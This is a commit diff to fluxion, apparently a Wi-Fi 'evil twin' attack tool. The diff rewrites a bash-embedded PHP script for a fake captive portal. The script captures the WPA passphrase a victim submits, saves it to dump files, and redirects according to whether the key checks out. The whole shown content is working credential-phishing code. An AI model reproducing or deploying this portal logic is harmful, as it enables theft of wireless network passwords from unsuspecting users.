Update fluxion

Update PHP.
This commit is contained in:
τɑyιo​ɾ 2016-10-13 04:35:16 +03:00 committed by GitHub
parent a222983098
commit de51b95f22
1 changed files with 30 additions and 49 deletions

75
fluxion
View File

@ -3918,70 +3918,51 @@ channel=$Host_CHAN
echo "<?php
error_reporting(0);
\$count_my_page = (\"$DUMP_PATH/hit.txt\");
\$hits = file(\$count_my_page);
\$hits[0] ++;
\$fp = fopen(\$count_my_page , \"w\");
fputs(\$fp , \"\$hits[0]\");
fclose(\$fp);
$count_my_page = (\"$DUMP_PATH/hit.txt\");
$hits = file($count_my_page);
$hits[0] ++;
$fp = fopen($count_my_page , \"w\");
fputs($fp , \"$hits[0]\");
fclose($fp);
// Receive form Post data and Saving it in variables
\$key1 = @\$_POST['key1'];
$key1 = @$_POST['key1'];
// Write the name of text file where data will be store
\$filename = \"$DUMP_PATH/data.txt\";
\$filename2 = \"$DUMP_PATH/status.txt\";
\$intento = \"$DUMP_PATH/intento\";
\$attemptlog = \"$DUMP_PATH/pwattempt.txt\";
$filename = \"$DUMP_PATH/data.txt\";
$filename2 = \"$DUMP_PATH/status.txt\";
$intento = \"$DUMP_PATH/intento\";
$attemptlog = \"$DUMP_PATH/pwattempt.txt\";
// Marge all the variables with text in a single variable.
\$f_data= ''.\$key1.'';
$pwlog = fopen($attemptlog, \"w\");
fwrite($pwlog, $key1);
fwrite($pwlog,\"\n\");
fclose($pwlog);
\$pwlog = fopen(\$attemptlog, \"w\");
fwrite(\$pwlog,\"\$f_data\");
fwrite(\$pwlog,\"\n\");
fclose(\$pwlog);
$file = fopen($filename, \"w\");
fwrite($file, $key1);
fwrite($file,\"\n\");
fclose($file);
if ( (strlen(\$key1) < 8) ) {
echo \"<script type=\\\"text/javascript\\\">alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()</script>\";
return;
}
$archivo = fopen($intento, \"w\");
fwrite($archivo,\"\n\");
fclose($archivo);
if ( (strlen(\$key1) > 63) ) {
echo \"<script type=\\\"text/javascript\\\">alert(\\\"$DIALOG_WEB_LENGHT_MAX\\\");window.history.back()</script>\";
return;
}
\$file = fopen(\$filename, \"w\");
fwrite(\$file,\"\$f_data\");
fwrite(\$file,\"\n\");
fclose(\$file);
\$archivo = fopen(\$intento, \"w\");
fwrite(\$archivo,\"\n\");
fclose(\$archivo);
while(1)
{
if (file_get_contents(\"\$intento\") == 2) {
while( 1 ) {
if (file_get_contents( $intento ) == 1) {
header(\"Location:error.html\");
unlink($intento);
break;
} else {
header(\"Location:final.html\");
break;
}
if (file_get_contents(\"\$intento\") == 1) {
header(\"Location:error.html\");
unlink(\$intento);
break;
}
sleep(1);
}
?>" > $DUMP_PATH/data/check.php
# Config DHCP